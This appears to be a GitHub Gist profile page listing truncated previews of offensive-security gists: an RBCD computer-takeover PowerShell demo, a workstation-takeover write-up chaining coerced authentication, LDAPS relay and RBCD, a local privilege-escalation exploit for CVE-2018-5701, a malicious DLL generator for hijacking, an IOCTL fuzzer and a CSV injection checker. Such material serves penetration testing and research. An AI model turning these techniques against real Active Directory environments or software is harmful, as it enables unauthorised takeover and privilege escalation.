Skip to content

Instantly share code, notes, and snippets.

View klezVirus's full-sized avatar

klezVirus

View GitHub Profile
@klezVirus
klezVirus / rbcd_demo.ps1
Created September 26, 2021 18:47 — forked from HarmJ0y/rbcd_demo.ps1
Resource-based constrained delegation computer DACL takeover demo
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"
@klezVirus
klezVirus / Workstation-Takeover.md
Created September 24, 2021 13:16 — forked from gladiatx0r/Workstation-Takeover.md
From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

  • Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
  • Relaying that machine authentication to LDAPS for configuring RBCD
  • RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

@klezVirus
klezVirus / EtwStartWebClient.cs
Last active May 21, 2024 20:52
A PoC in C# to enable WebClient Programmatically
using System.Runtime.InteropServices;
using System;
/*
* Simple C# PoC to enable WebClient Service Programmatically
* Based on the C++ version from @tirannido (James Forshaw)
* Twitter: https://twitter.com/tiraniddo
* URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
*
* Compile with:
@klezVirus
klezVirus / CVE-2018-5701.py
Last active June 1, 2021 20:01
CVE-2018-5701: iolo System Mechanic Pro Local Privilege Escalation
# Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)
# Exploit Authors: d3adc0de
# CVE: CVE-2018-5701
# Date: 01/06/2021
# Vendor Homepage: https://www.iolo.com/
# Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/
# https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E
# Version: v.15.5.0.61
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Category: local exploit
@klezVirus
klezVirus / crude_ioctl_fuzzer.py
Last active May 31, 2021 08:16 — forked from uf0o/crude_ioctl_fuzzer.py
A crude IOCTL fuzzer for windows driver testing
import random
import sys
import struct
import io
from ctypes import windll, POINTER, byref
from ctypes.wintypes import LPVOID, DWORD, LPCSTR, LPSTR, BOOL, HANDLE
from enum import Enum
'''
#define IOCTL_HEVD_TYPE_CONFUSION 0x222023
define(["require", "exports"], function (require, exports) {
/**
* Helper to use the Command Line Interface (CLI) easily with both Windows and Unix environments.
* Requires underscore or lodash as global through "_".
*/
var Cli = (function () {
function Cli() {
}
/**
* Execute a CLI command.
@klezVirus
klezVirus / evilldll-gen.sh
Last active March 1, 2024 12:07
Simple Malicious DLL Generator for DLL Hijacking Attacks
#!/bin/sh
usage(){
echo "# ################# Simple CPP to DLL Utility ################# #"
echo "# This tool has been maded to easily generate and compile a DLL to be used for DLL hijacking.#"
echo "# #"
echo "# ========================================================================================== #"
echo "# #"
echo "# Usage: #"
echo "# ./dll-gcc [Options] <input-file> #"
@klezVirus
klezVirus / cve-2017-11356.py
Last active March 15, 2021 11:01
CVE-2017-11356: PEGA Platform Missing Access Control
import requests
import sys
import argparse
import traceback
import pytest
import time
import json
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
@klezVirus
klezVirus / csvi-check.py
Created March 1, 2021 13:54
Simple CSV Injection Check
import csv
import sys
import os
import argparse
def check(args):
csv_injection = ["=", "@", "+", "-"]
end = "\n [-] Finished!"
novuln = " No Vulnerability found."